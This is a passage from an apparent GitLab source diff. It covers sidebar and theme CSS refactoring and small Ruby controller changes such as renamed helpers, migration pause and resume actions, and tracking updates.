- .fly-out-top-item
- a,
-body.sidebar-refactoring
- .nav-sidebar
+.nav-sidebar a.has-sub-items + .sidebar-sub-level-items .fly-out-top-item a,
+.nav-sidebar
a.has-sub-items
+ .sidebar-sub-level-items
.fly-out-top-item.active
a,
-body.sidebar-refactoring
- .nav-sidebar
+.nav-sidebar
a.has-sub-items
+ .sidebar-sub-level-items
.fly-out-top-item
@@ -1489,30 +1113,21 @@ body.sidebar-refactoring
cursor: default;
pointer-events: none;
font-size: 0.75rem;
- background-color: #2f2a6b;
- color: #fff;
margin-top: 0;
border-bottom-left-radius: 0;
border-bottom-right-radius: 0;
}
@media (min-width: 768px) and (max-width: 1199px) {
- body.sidebar-refactoring .nav-sidebar:not(.sidebar-expanded-mobile) {
+ .nav-sidebar:not(.sidebar-expanded-mobile) {
width: 48px;
}
- body.sidebar-refactoring
- .nav-sidebar:not(.sidebar-expanded-mobile)
- .nav-sidebar-inner-scroll {
+ .nav-sidebar:not(.sidebar-expanded-mobile) .nav-sidebar-inner-scroll {
overflow-x: hidden;
}
- body.sidebar-refactoring
- .nav-sidebar:not(.sidebar-expanded-mobile)
+ .nav-sidebar:not(.sidebar-expanded-mobile)
.badge.badge-pill:not(.fly-out-badge),
- body.sidebar-refactoring
- .nav-sidebar:not(.sidebar-expanded-mobile)
- .nav-item-name,
- body.sidebar-refactoring
- .nav-sidebar:not(.sidebar-expanded-mobile)
- .collapse-text {
+ .nav-sidebar:not(.sidebar-expanded-mobile) .nav-item-name,
+ .nav-sidebar:not(.sidebar-expanded-mobile) .collapse-text {
border: 0;
clip: rect(0, 0, 0, 0);
height: 1px;
@@ -1523,44 +1138,28 @@ body.sidebar-refactoring
white-space: nowrap;
width: 1px;
}
- body.sidebar-refactoring
- .nav-sidebar:not(.sidebar-expanded-mobile)
- .sidebar-top-level-items
- > li
- > a {
+ .nav-sidebar:not(.sidebar-expanded-mobile) .sidebar-top-level-items > li > a {
min-height: unset;
}
- body.sidebar-refactoring
- .nav-sidebar:not(.sidebar-expanded-mobile)
- .fly-out-top-item:not(.divider) {
+ .nav-sidebar:not(.sidebar-expanded-mobile) .fly-out-top-item:not(.divider) {
display: block !important;
}
- body.sidebar-refactoring
- .nav-sidebar:not(.sidebar-expanded-mobile)
- .avatar-container {
+ .nav-sidebar:not(.sidebar-expanded-mobile) .avatar-container {
margin: 0 auto;
}
- body.sidebar-refactoring
- .nav-sidebar:not(.sidebar-expanded-mobile)
+ .nav-sidebar:not(.sidebar-expanded-mobile)
li.active:not(.fly-out-top-item)
> a {
background-color: rgba(41, 41, 97, 0.08);
}
- body.sidebar-refactoring
- .nav-sidebar:not(.sidebar-expanded-mobile)
- .context-header {
+ .nav-sidebar:not(.sidebar-expanded-mobile) .context-header {
height: 60px;
width: 48px;
}
- body.sidebar-refactoring
- .nav-sidebar:not(.sidebar-expanded-mobile)
- .context-header
- a {
+ .nav-sidebar:not(.sidebar-expanded-mobile) .context-header a {
padding: 10px 4px;
}
- body.sidebar-refactoring
- .nav-sidebar:not(.sidebar-expanded-mobile)
- .sidebar-context-title {
+ .nav-sidebar:not(.sidebar-expanded-mobile) .sidebar-context-title {
border: 0;
clip: rect(0, 0, 0, 0);
height: 1px;
@@ -1571,58 +1170,45 @@ body.sidebar-refactoring
white-space: nowrap;
width: 1px;
}
- body.sidebar-refactoring
- .nav-sidebar:not(.sidebar-expanded-mobile)
- .context-header {
+ .nav-sidebar:not(.sidebar-expanded-mobile) .context-header {
height: auto;
}
- body.sidebar-refactoring
- .nav-sidebar:not(.sidebar-expanded-mobile)
- .context-header
- a {
+ .nav-sidebar:not(.sidebar-expanded-mobile) .context-header a {
padding: 0.25rem;
}
- body.sidebar-refactoring
- .nav-sidebar:not(.sidebar-expanded-mobile)
+ .nav-sidebar:not(.sidebar-expanded-mobile)
.sidebar-top-level-items
> li
.sidebar-sub-level-items:not(.flyout-list) {
display: none;
}
- body.sidebar-refactoring
- .nav-sidebar:not(.sidebar-expanded-mobile)
- .nav-icon-container {
+ .nav-sidebar:not(.sidebar-expanded-mobile) .nav-icon-container {
margin-right: 0;
}
- body.sidebar-refactoring
- .nav-sidebar:not(.sidebar-expanded-mobile)
- .toggle-sidebar-button {
+ .nav-sidebar:not(.sidebar-expanded-mobile) .toggle-sidebar-button {
width: 48px;
}
- body.sidebar-refactoring
- .nav-sidebar:not(.sidebar-expanded-mobile)
+ .nav-sidebar:not(.sidebar-expanded-mobile)
.toggle-sidebar-button
.collapse-text {
display: none;
}
- body.sidebar-refactoring
- .nav-sidebar:not(.sidebar-expanded-mobile)
+ .nav-sidebar:not(.sidebar-expanded-mobile)
.toggle-sidebar-button
.icon-chevron-double-lg-left {
transform: rotate(180deg);
- display: block;
margin: 0;
}
}
-body.sidebar-refactoring .nav-sidebar-inner-scroll {
+.nav-sidebar-inner-scroll {
height: 100%;
width: 100%;
overflow: auto;
}
-body.sidebar-refactoring .nav-sidebar-inner-scroll > div.context-header {
+.nav-sidebar-inner-scroll > div.context-header {
margin-top: 0.25rem;
}
-body.sidebar-refactoring .nav-sidebar-inner-scroll > div.context-header a {
+.nav-sidebar-inner-scroll > div.context-header a {
padding-left: 0.75rem;
padding-right: 0.75rem;
padding-top: 0.5rem;
@@ -1637,78 +1223,46 @@ body.sidebar-refactoring .nav-sidebar-inner-scroll > div.context-header a {
margin-bottom: 0.25rem;
margin-top: 0;
}
-body.sidebar-refactoring
- .nav-sidebar-inner-scroll
- > div.context-header
- a
- .avatar-container {
+.nav-sidebar-inner-scroll > div.context-header a .avatar-container {
font-weight: 400;
flex: none;
box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.08);
}
-body.sidebar-refactoring
- .nav-sidebar-inner-scroll
- > div.context-header
- a
- .avatar-container.rect-avatar {
+.nav-sidebar-inner-scroll > div.context-header a .avatar-container.rect-avatar {
border-style: none;
}
-body.sidebar-refactoring
- .nav-sidebar-inner-scroll
+.nav-sidebar-inner-scroll
> div.context-header
a
.avatar-container.rect-avatar
.avatar.s32 {
box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.08);
}
-body.sidebar-refactoring
- .nav-sidebar-inner-scroll
- > div.context-header
- a
- .sidebar-context-title {
- color: #2f2a6b;
-}
-body.sidebar-refactoring .sidebar-top-level-items {
+.sidebar-top-level-items {
margin-top: 0.25rem;
margin-bottom: 60px;
}
-body.sidebar-refactoring .sidebar-top-level-items .context-header a {
+.sidebar-top-level-items .context-header a {
padding: 0.25rem;
margin-bottom: 0.25rem;
margin-top: 0;
}
-body.sidebar-refactoring
- .sidebar-top-level-items
- .context-header
- a
- .avatar-container {
+.sidebar-top-level-items .context-header a .avatar-container {
font-weight: 400;
flex: none;
box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.08);
}
-body.sidebar-refactoring
- .sidebar-top-level-items
- .context-header
- a
- .avatar-container.rect-avatar {
+.sidebar-top-level-items .context-header a .avatar-container.rect-avatar {
border-style: none;
}
-body.sidebar-refactoring
- .sidebar-top-level-items
+.sidebar-top-level-items
.context-header
a
.avatar-container.rect-avatar
.avatar.s32 {
box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.08);
}
-body.sidebar-refactoring
- .sidebar-top-level-items
- .context-header
- a
- .sidebar-context-title {
- color: #2f2a6b;
-}
-body.sidebar-refactoring .sidebar-top-level-items > li .badge.badge-pill {
+.sidebar-top-level-items > li .badge.badge-pill {
border-radius: 0.5rem;
padding-top: 0.125rem;
padding-bottom: 0.125rem;
@@ -1717,29 +1271,25 @@ body.sidebar-refactoring .sidebar-top-level-items > li .badge.badge-pill {
background-color: #cbe2f9;
color: #0b5cad;
}
-body.sidebar-refactoring
- .sidebar-top-level-items
+.sidebar-top-level-items
> li.active
.sidebar-sub-level-items:not(.is-fly-out-only) {
display: block;
}
-body.sidebar-refactoring
- .sidebar-top-level-items
- > li.active
- .badge.badge-pill {
+.sidebar-top-level-items > li.active .badge.badge-pill {
font-weight: 400;
color: #0b5cad;
}
-body.sidebar-refactoring .sidebar-sub-level-items {
+.sidebar-sub-level-items {
padding-top: 0;
padding-bottom: 0;
display: none;
}
-body.sidebar-refactoring .sidebar-sub-level-items:not(.fly-out-list) li > a {
+.sidebar-sub-level-items:not(.fly-out-list) li > a {
padding-left: 2.25rem;
}
-body.sidebar-refactoring .toggle-sidebar-button,
-body.sidebar-refactoring .close-nav-button {
+.toggle-sidebar-button,
+.close-nav-button {
height: 48px;
padding: 0 16px;
background-color: #fafafa;
@@ -1749,31 +1299,28 @@ body.sidebar-refactoring .close-nav-button {
align-items: center;
background-color: #f0f0f0;
border-top: 1px solid #dbdbdb;
- color: #2f2a6b;
position: fixed;
bottom: 0;
width: 220px;
}
-body.sidebar-refactoring .toggle-sidebar-button .collapse-text,
-body.sidebar-refactoring .toggle-sidebar-button .icon-chevron-double-lg-left,
-body.sidebar-refactoring .toggle-sidebar-button .icon-chevron-double-lg-right,
-body.sidebar-refactoring .close-nav-button .collapse-text,
-body.sidebar-refactoring .close-nav-button .icon-chevron-double-lg-left,
-body.sidebar-refactoring .close-nav-button .icon-chevron-double-lg-right {
+.toggle-sidebar-button .collapse-text,
+.toggle-sidebar-button .icon-chevron-double-lg-left,
+.close-nav-button .collapse-text,
+.close-nav-button .icon-chevron-double-lg-left {
color: inherit;
}
-body.sidebar-refactoring .collapse-text {
+.collapse-text {
white-space: nowrap;
overflow: hidden;
}
-body.sidebar-refactoring .sidebar-collapsed-desktop .context-header {
+.sidebar-collapsed-desktop .context-header {
height: 60px;
width: 48px;
}
-body.sidebar-refactoring .sidebar-collapsed-desktop .context-header a {
+.sidebar-collapsed-desktop .context-header a {
padding: 10px 4px;
}
-body.sidebar-refactoring .sidebar-collapsed-desktop .sidebar-context-title {
+.sidebar-collapsed-desktop .sidebar-context-title {
border: 0;
clip: rect(0, 0, 0, 0);
height: 1px;
@@ -1784,47 +1331,39 @@ body.sidebar-refactoring .sidebar-collapsed-desktop .sidebar-context-title {
white-space: nowrap;
width: 1px;
}
-body.sidebar-refactoring .sidebar-collapsed-desktop .context-header {
+.sidebar-collapsed-desktop .context-header {
height: auto;
}
-body.sidebar-refactoring .sidebar-collapsed-desktop .context-header a {
+.sidebar-collapsed-desktop .context-header a {
padding: 0.25rem;
}
-body.sidebar-refactoring
- .sidebar-collapsed-desktop
+.sidebar-collapsed-desktop
.sidebar-top-level-items
> li
.sidebar-sub-level-items:not(.flyout-list) {
display: none;
}
-body.sidebar-refactoring .sidebar-collapsed-desktop .nav-icon-container {
+.sidebar-collapsed-desktop .nav-icon-container {
margin-right: 0;
}
-body.sidebar-refactoring .sidebar-collapsed-desktop .toggle-sidebar-button {
+.sidebar-collapsed-desktop .toggle-sidebar-button {
width: 48px;
}
-body.sidebar-refactoring
- .sidebar-collapsed-desktop
- .toggle-sidebar-button
- .collapse-text {
+.sidebar-collapsed-desktop .toggle-sidebar-button .collapse-text {
display: none;
}
-body.sidebar-refactoring
- .sidebar-collapsed-desktop
- .toggle-sidebar-button
- .icon-chevron-double-lg-left {
+.sidebar-collapsed-desktop .toggle-sidebar-button .icon-chevron-double-lg-left {
transform: rotate(180deg);
- display: block;
margin: 0;
}
-body.sidebar-refactoring .close-nav-button {
+.close-nav-button {
display: none;
}
@media (max-width: 767.98px) {
- body.sidebar-refactoring .close-nav-button {
+ .close-nav-button {
display: flex;
}
- body.sidebar-refactoring .toggle-sidebar-button {
+ .toggle-sidebar-button {
display: none;
}
}
@@ -1905,7 +1444,6 @@ svg.s16 {
top: 4px;
}
.search .search-input-wrap .search-icon {
- -moz-user-select: none;
user-select: none;
}
.search .search-input-wrap .clear-icon {
@@ -1934,7 +1472,7 @@ svg.s16 {
float: left;
margin-right: 16px;
border-radius: 50%;
- border: 1px solid #f5f5f5;
+ border: 1px solid rgba(0, 0, 0, 0.08);
}
.avatar.s16,
.avatar-container.s16 {
@@ -1954,12 +1492,6 @@ svg.s16 {
height: 32px;
margin-right: 8px;
}
-.avatar.s40,
-.avatar-container.s40 {
- width: 40px;
- height: 40px;
- margin-right: 8px;
-}
.avatar {
transition-property: none;
width: 40px;
@@ -1976,8 +1508,8 @@ svg.s16 {
.identicon {
text-align: center;
vertical-align: top;
- color: #525252;
- background-color: #eee;
+ color: #303030;
+ background-color: #f0f0f0;
}
.identicon.s16 {
font-size: 10px;
@@ -1987,30 +1519,26 @@ svg.s16 {
font-size: 14px;
line-height: 32px;
}
-.identicon.s40 {
- font-size: 16px;
- line-height: 38px;
-}
.identicon.bg1 {
- background-color: #ffebee;
+ background-color: #fcf1ef;
}
.identicon.bg2 {
- background-color: #f3e5f5;
+ background-color: #f4f0ff;
}
.identicon.bg3 {
- background-color: #e8eaf6;
+ background-color: #f1f1ff;
}
.identicon.bg4 {
- background-color: #e3f2fd;
+ background-color: #e9f3fc;
}
.identicon.bg5 {
- background-color: #e0f2f1;
+ background-color: #ecf4ee;
}
.identicon.bg6 {
- background-color: #fbe9e7;
+ background-color: #fdf1dd;
}
.identicon.bg7 {
- background-color: #eee;
+ background-color: #f0f0f0;
}
.avatar-container {
overflow: hidden;
@@ -2030,10 +1558,6 @@ svg.s16 {
margin: 0;
align-self: center;
}
-.avatar-container.s40 {
- min-width: 40px;
- min-height: 40px;
-}
.rect-avatar {
border-radius: 2px;
}
@@ -2044,23 +1568,18 @@ svg.s16 {
border-radius: 2px;
}
.rect-avatar.s32,
-body.sidebar-refactoring
- .nav-sidebar-inner-scroll
+.nav-sidebar-inner-scroll
> div.context-header
a
.avatar-container.rect-avatar
.avatar.s32,
-body.sidebar-refactoring
- .sidebar-top-level-items
+.sidebar-top-level-items
.context-header
a
.avatar-container.rect-avatar
.avatar.s32 {
border-radius: 4px;
}
-.rect-avatar.s40 {
- border-radius: 4px;
-}
.tab-width-8 {
-moz-tab-size: 8;
diff --git a/app/assets/stylesheets/startup/startup-signin.scss b/app/assets/stylesheets/startup/startup-signin.scss
index 81a87742850..070ab36e0b3 100644
--- a/app/assets/stylesheets/startup/startup-signin.scss
+++ b/app/assets/stylesheets/startup/startup-signin.scss
@@ -198,10 +198,6 @@ hr {
color: transparent;
text-shadow: 0 0 0 #303030;
}
-.form-control::-ms-input-placeholder {
- color: #5e5e5e;
- opacity: 1;
-}
.form-control::placeholder {
color: #5e5e5e;
opacity: 1;
@@ -229,7 +225,6 @@ hr {
color: #303030;
text-align: center;
vertical-align: middle;
- -moz-user-select: none;
user-select: none;
background-color: transparent;
border: 1px solid transparent;
@@ -294,11 +289,6 @@ fieldset:disabled a.btn {
.mb-3 {
margin-bottom: 1rem !important;
}
-@media (min-width: 576px) {
- .mt-sm-0 {
- margin-top: 0 !important;
- }
-}
.text-center {
text-align: center !important;
}
@@ -324,13 +314,6 @@ fieldset:disabled a.btn {
appearance: none;
-moz-appearance: none;
}
-.gl-form-input:not(.form-control-plaintext):-moz-read-only,
-.gl-form-input.form-control:not(.form-control-plaintext):-moz-read-only {
- background-color: #fafafa;
- color: #868686;
- box-shadow: inset 0 0 0 1px #dbdbdb;
- cursor: not-allowed;
-}
.gl-form-input:disabled,
.gl-form-input:not(.form-control-plaintext):read-only,
.gl-form-input.form-control:disabled,
@@ -340,10 +323,6 @@ fieldset:disabled a.btn {
box-shadow: inset 0 0 0 1px #dbdbdb;
cursor: not-allowed;
}
-.gl-form-input::-ms-input-placeholder,
-.gl-form-input.form-control::-ms-input-placeholder {
- color: #868686;
-}
.gl-form-input::placeholder,
.gl-form-input.form-control::placeholder {
color: #868686;
@@ -500,7 +479,6 @@ hr {
z-index: 1;
}
.flash-container.sticky {
- position: -webkit-sticky;
position: sticky;
top: 48px;
z-index: 251;
@@ -526,9 +504,6 @@ label.label-bold {
border-radius: 4px;
padding: 6px 10px;
}
-.form-control::-ms-input-placeholder {
- color: #868686;
-}
.form-control::placeholder {
color: #868686;
}
@@ -542,7 +517,7 @@ label.label-bold {
justify-content: center;
height: 40px;
background: #fff;
- border-bottom: 1px solid #f0f0f0;
+ border-bottom: 1px solid #dbdbdb;
}
.navbar-empty .tanuki-logo,
.navbar-empty .brand-header-logo {
@@ -796,9 +771,15 @@ svg {
.gl-display-flex {
display: flex;
}
+.gl-display-block {
+ display: block;
+}
.gl-align-items-center {
align-items: center;
}
+.gl-w-full {
+ width: 100%;
+}
.gl-p-2 {
padding: 0.25rem;
}
@@ -817,6 +798,11 @@ svg {
.gl-mb-5 {
margin-bottom: 1rem;
}
+@media (min-width: 36rem) {
+ .gl-sm-mt-0 {
+ margin-top: 0;
+ }
+}
.gl-text-left {
text-align: left;
}
diff --git a/app/assets/stylesheets/themes/_dark.scss b/app/assets/stylesheets/themes/_dark.scss
index 9d98fe5c739..ea7aaaa8ec8 100644
--- a/app/assets/stylesheets/themes/_dark.scss
+++ b/app/assets/stylesheets/themes/_dark.scss
@@ -253,3 +253,14 @@ $well-inner-border: $gray-200;
color: $gray-900;
border-color: $gray-800;
}
+
+.nav-sidebar {
+ li.active {
+ box-shadow: none;
+ }
+
+ .sidebar-sub-level-items.fly-out-list {
+ box-shadow: none;
+ border: 1px solid $border-color;
+ }
+}
diff --git a/app/assets/stylesheets/themes/theme_helper.scss b/app/assets/stylesheets/themes/theme_helper.scss
index 6a60978b954..a94169ab494 100644
--- a/app/assets/stylesheets/themes/theme_helper.scss
+++ b/app/assets/stylesheets/themes/theme_helper.scss
@@ -174,20 +174,20 @@
}
// Sidebar
- .nav-sidebar li.active {
- box-shadow: inset 4px 0 0 $border-and-box-shadow;
-
- > a {
- color: $sidebar-text;
- }
-
- .nav-icon-container svg {
- fill: $sidebar-text;
- }
+ .nav-sidebar li.active > a {
+ color: $sidebar-text;
}
- .sidebar-top-level-items > li.active .badge.badge-pill {
- color: $sidebar-text;
+ .nav-sidebar {
+ .fly-out-top-item {
+ a,
+ a:hover,
+ &.active a,
+ .fly-out-top-item-container {
+ background-color: $purple-900;
+ color: var(--black, $white);
+ }
+ }
}
.nav-links li {
@@ -213,7 +213,6 @@
.ide-sidebar-link {
&.active {
color: $border-and-box-shadow;
- box-shadow: inset 3px 0 $border-and-box-shadow;
&.is-right {
box-shadow: inset -3px 0 $border-and-box-shadow;
diff --git a/app/assets/stylesheets/themes/theme_indigo.scss b/app/assets/stylesheets/themes/theme_indigo.scss
index bbf14afcca2..9566c9c6004 100644
--- a/app/assets/stylesheets/themes/theme_indigo.scss
+++ b/app/assets/stylesheets/themes/theme_indigo.scss
@@ -6,7 +6,7 @@ body {
$indigo-200,
$indigo-500,
$indigo-700,
- $indigo-800,
+ $purple-900,
$indigo-900,
$white
);
diff --git a/app/assets/stylesheets/utilities.scss b/app/assets/stylesheets/utilities.scss
index cabbe5834cb..10334d771b8 100644
--- a/app/assets/stylesheets/utilities.scss
+++ b/app/assets/stylesheets/utilities.scss
@@ -65,6 +65,8 @@
min-width: 0;
}
+// .gl-font-size-inherit will be moved to @gitlab/ui by https://gitlab.com/gitlab-org/gitlab-ui/-/issues/1466
+.gl-font-size-inherit,
.font-size-inherit { font-size: inherit; }
.gl-w-8 { width: px-to-rem($grid-size); }
.gl-w-16 { width: px-to-rem($grid-size * 2); }
@@ -85,6 +87,12 @@
padding-bottom: $gl-spacing-scale-8;
}
+// Will be moved to @gitlab/ui in https://gitlab.com/gitlab-org/gitlab-ui/-/issues/1495
+.gl-py-13 {
+ padding-top: $gl-spacing-scale-13;
+ padding-bottom: $gl-spacing-scale-13;
+}
+
.gl-transition-property-stroke-opacity {
transition-property: stroke-opacity;
}
@@ -117,6 +125,25 @@
}
}
+// Will be moved to @gitlab/ui (without the !important) in https://gitlab.com/gitlab-org/gitlab-ui/-/issues/1462
+// We only need the bang (!) version until the non-bang version is added to
+// @gitlab/ui utitlities.scss. Once there, it will get loaded in the correct
+// order to properly override `.gl-mt-6` which is used for narrower screen
+// widths (currently that style gets added to the application.css stylesheet
+// after this one, so it takes precedence).
+.gl-md-mt-11\! {
+ @media (min-width: $breakpoint-md) {
+ margin-top: $gl-spacing-scale-11 !important;
+ }
+}
+
+// Same as above (also without the !important) but for overriding `.gl-pt-6`
+.gl-md-pt-11\! {
+ @media (min-width: $breakpoint-md) {
+ padding-top: $gl-spacing-scale-11 !important;
+ }
+}
+
// This is used to help prevent issues with margin collapsing.
// See https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing.
.gl-force-block-formatting-context::after {
@@ -200,3 +227,23 @@ $gl-line-height-42: px-to-rem(42px);
.gl-max-h-none\! {
max-height: none !important;
}
+
+// Will be moved to @gitlab/ui by https://gitlab.com/gitlab-org/gitlab-ui/-/issues/1465
+.gl-popover {
+ .popover-header {
+ .gl-button.close {
+ margin-top: -$gl-spacing-scale-3;
+ margin-right: -$gl-spacing-scale-4;
+ }
+ }
+}
+
+// Will be moved to @gitlab/ui by https://gitlab.com/gitlab-org/gitlab-ui/-/issues/1490
+.gl-w-grid-size-28 {
+ width: $grid-size * 28;
+}
+
+// Will be moved to @gitlab/ui by https://gitlab.com/gitlab-org/gitlab-ui/-/issues/1491
+.gl-min-w-8 {
+ min-width: $gl-spacing-scale-8;
+}
diff --git a/app/controllers/admin/application_settings_controller.rb b/app/controllers/admin/application_settings_controller.rb
index 7960e5d64d0..8039fac02ec 100644
--- a/app/controllers/admin/application_settings_controller.rb
+++ b/app/controllers/admin/application_settings_controller.rb
@@ -2,7 +2,7 @@
class Admin::ApplicationSettingsController < Admin::ApplicationController
include InternalRedirect
- include ServicesHelper
+ include IntegrationsHelper
# NOTE: Use @application_setting in this controller when you need to access
# application_settings after it has been modified. This is because the
@@ -27,7 +27,7 @@ class Admin::ApplicationSettingsController < Admin::ApplicationController
feature_category :source_code_management, [:repository, :clear_repository_check_states]
feature_category :continuous_integration, [:ci_cd, :reset_registration_token]
- feature_category :usage_ping, [:usage_data]
+ feature_category :service_ping, [:usage_data]
feature_category :integrations, [:integrations]
feature_category :pages, [:lets_encrypt_terms_of_service]
@@ -207,6 +207,7 @@ class Admin::ApplicationSettingsController < Admin::ApplicationController
end
params[:application_setting][:import_sources]&.delete("")
+ params[:application_setting][:valid_runner_registrars]&.delete("")
params[:application_setting][:restricted_visibility_levels]&.delete("")
if params[:application_setting].key?(:required_instance_ci_template)
@@ -245,7 +246,8 @@ class Admin::ApplicationSettingsController < Admin::ApplicationController
disabled_oauth_sign_in_sources: [],
import_sources: [],
restricted_visibility_levels: [],
- repository_storages_weighted: {}
+ repository_storages_weighted: {},
+ valid_runner_registrars: []
]
end
diff --git a/app/controllers/admin/background_migrations_controller.rb b/app/controllers/admin/background_migrations_controller.rb
index c1dffbf423d..65b47308e4c 100644
--- a/app/controllers/admin/background_migrations_controller.rb
+++ b/app/controllers/admin/background_migrations_controller.rb
@@ -15,6 +15,20 @@ class Admin::BackgroundMigrationsController < Admin::ApplicationController
@successful_rows_counts = batched_migration_class.successful_rows_counts(@migrations.map(&:id))
end
+ def pause
+ migration = batched_migration_class.find(params[:id])
+ migration.paused!
+
+ redirect_back fallback_location: { action: 'index' }
+ end
+
+ def resume
+ migration = batched_migration_class.find(params[:id])
+ migration.active!
+
+ redirect_back fallback_location: { action: 'index' }
+ end
+
private
def batched_migration_class
diff --git a/app/controllers/admin/ci/variables_controller.rb b/app/controllers/admin/ci/variables_controller.rb
index f30ee37fa58..d4b7d750759 100644
--- a/app/controllers/admin/ci/variables_controller.rb
+++ b/app/controllers/admin/ci/variables_controller.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
class Admin::Ci::VariablesController < Admin::ApplicationController
- feature_category :continuous_integration
+ feature_category :pipeline_authoring
def show
respond_to do |format|
diff --git a/app/controllers/admin/cohorts_controller.rb b/app/controllers/admin/cohorts_controller.rb
index 8163f062b62..e750b5c5ad4 100644
--- a/app/controllers/admin/cohorts_controller.rb
+++ b/app/controllers/admin/cohorts_controller.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
class Admin::CohortsController < Admin::ApplicationController
- include Analytics::UniqueVisitsHelper
+ include RedisTracking
feature_category :devops_reports
@@ -21,8 +21,6 @@ class Admin::CohortsController < Admin::ApplicationController
end
def track_cohorts_visit
- if request.format.html? && request.headers['DNT'] != '1'
- track_visit('i_analytics_cohorts')
- end
+ track_unique_redis_hll_event('i_analytics_cohorts') if trackable_html_request?
end
end
diff --git a/app/controllers/admin/integrations_controller.rb b/app/controllers/admin/integrations_controller.rb
index 316e6d9aa74..76c1c46e0e8 100644
--- a/app/controllers/admin/integrations_controller.rb
+++ b/app/controllers/admin/integrations_controller.rb
@@ -2,7 +2,7 @@
class Admin::IntegrationsController < Admin::ApplicationController
include IntegrationsActions
- include ServicesHelper
+ include IntegrationsHelper
before_action :not_found, unless: -> { instance_level_integrations? }
diff --git a/app/controllers/admin/runners_controller.rb b/app/controllers/admin/runners_controller.rb
index bf9cfa3acff..d1c91d9617f 100644
--- a/app/controllers/admin/runners_controller.rb
+++ b/app/controllers/admin/runners_controller.rb
@@ -8,7 +8,7 @@ class Admin::RunnersController < Admin::ApplicationController
push_frontend_feature_flag(:runner_list_view_vue_ui, current_user, default_enabled: :yaml)
end
- feature_category :continuous_integration
+ feature_category :runner
NUMBER_OF_RUNNERS_PER_PAGE = 30
diff --git a/app/controllers/admin/usage_trends_controller.rb b/app/controllers/admin/usage_trends_controller.rb
index 7073f71a1a8..0b315517594 100644
--- a/app/controllers/admin/usage_trends_controller.rb
+++ b/app/controllers/admin/usage_trends_controller.rb
@@ -1,9 +1,9 @@
# frozen_string_literal: true
class Admin::UsageTrendsController < Admin::ApplicationController
- include Analytics::UniqueVisitsHelper
+ include RedisTracking
- track_unique_visits :index, target_id: 'i_analytics_instance_statistics'
+ track_redis_hll_event :index, name: 'i_analytics_instance_statistics'
feature_category :devops_reports
diff --git a/app/controllers/application_controller.rb b/app/controllers/application_controller.rb
index 07ecde1181f..34bad74a9fc 100644
--- a/app/controllers/application_controller.rb
+++ b/app/controllers/application_controller.rb
@@ -106,10 +106,6 @@ class ApplicationController < ActionController::Base
redirect_back(fallback_location: default, **options)
end
- def check_if_gl_com_or_dev
- render_404 unless ::Gitlab.dev_env_or_com?
- end
-
def not_found
render_404
end
diff --git a/app/controllers/boards/issues_controller.rb b/app/controllers/boards/issues_controller.rb
index 003ed45adb5..f0f074792ed 100644
--- a/app/controllers/boards/issues_controller.rb
+++ b/app/controllers/boards/issues_controller.rb
@@ -136,7 +136,7 @@ module Boards
def issue_params
params.require(:issue)
.permit(:title, :milestone_id, :project_id)
- .merge(board_id: params[:board_id], list_id: params[:list_id], request: request)
+ .merge(board_id: params[:board_id], list_id: params[:list_id])
end
def serializer
diff --git a/app/controllers/chaos_controller.rb b/app/controllers/chaos_controller.rb
index 1cfcd2905f2..4e5af1945a4 100644
--- a/app/controllers/chaos_controller.rb
+++ b/app/controllers/chaos_controller.rb
@@ -31,7 +31,7 @@ class ChaosController < ActionController::Base
gc_stat = Gitlab::Chaos.run_gc
render json: {
- worker_id: Prometheus::PidProvider.worker_id,
+ worker_id: ::Prometheus::PidProvider.worker_id,
gc_stat: gc_stat
}
end
diff --git a/app/controllers/concerns/authenticates_with_two_factor.rb b/app/controllers/concerns/authenticates_with_two_factor.rb
index 4f4b204def8..da5b7ccfbf0 100644
--- a/app/controllers/concerns/authenticates_with_two_factor.rb
+++ b/app/controllers/concerns/authenticates_with_two_factor.rb
@@ -151,14 +151,14 @@ module AuthenticatesWithTwoFactor
def handle_two_factor_failure(user, method, message)
user.increment_failed_attempts!
- log_failed_two_factor(user, method, request.remote_ip)
+ log_failed_two_factor(user, method)
Gitlab::AppLogger.info("Failed Login: user=#{user.username} ip=#{request.remote_ip} method=#{method}")
flash.now[:alert] = message
prompt_for_two_factor(user)
end
- def log_failed_two_factor(user, method, ip_address)
+ def log_failed_two_factor(user, method)
# overridden in EE
end
diff --git a/app/controllers/concerns/authenticates_with_two_factor_for_admin_mode.rb b/app/controllers/concerns/authenticates_with_two_factor_for_admin_mode.rb
index a8155f1e639..574fc6c0f37 100644
--- a/app/controllers/concerns/authenticates_with_two_factor_for_admin_mode.rb
+++ b/app/controllers/concerns/authenticates_with_two_factor_for_admin_mode.rb
@@ -98,7 +98,7 @@ module AuthenticatesWithTwoFactorForAdminMode
def admin_handle_two_factor_failure(user, method, message)
user.increment_failed_attempts!
- log_failed_two_factor(user, method, request.remote_ip)
+ log_failed_two_factor(user, method)
Gitlab::AppLogger.info("Failed Admin Mode Login: user=#{user.username} ip=#{request.remote_ip} method=#{method}")
flash.now[:alert] = message
diff --git a/app/controllers/concerns/issuable_actions.rb b/app/controllers/concerns/issuable_actions.rb
index 929e60a9e77..2664a7b7151 100644
--- a/app/controllers/concerns/issuable_actions.rb
+++ b/app/controllers/concerns/issuable_actions.rb
@@ -3,6 +3,7 @@
module IssuableActions
extend ActiveSupport::Concern
include Gitlab::Utils::StrongMemoize
+ include Gitlab::Cache::Helpers
included do
before_action :authorize_destroy_issuable!, only: :destroy
@@ -129,7 +130,11 @@ module IssuableActions
discussions = Discussion.build_collection(notes, issuable)
- render json: discussion_serializer.represent(discussions, context: self)
+ if issuable.is_a?(MergeRequest) && Feature.enabled?(:merge_request_discussion_cache, issuable.target_project, default_enabled: :yaml)
+ render_cached(discussions, with: discussion_serializer, context: self)
+ else
+ render json: discussion_serializer.represent(discussions, context: self)
+ end
end
# rubocop:enable CodeReuse/ActiveRecord
diff --git a/app/controllers/concerns/metrics/dashboard/prometheus_api_proxy.rb b/app/controllers/concerns/metrics/dashboard/prometheus_api_proxy.rb
index e0e3f628cc5..65237b552ca 100644
--- a/app/controllers/concerns/metrics/dashboard/prometheus_api_proxy.rb
+++ b/app/controllers/concerns/metrics/dashboard/prometheus_api_proxy.rb
@@ -16,7 +16,7 @@ module Metrics::Dashboard::PrometheusApiProxy
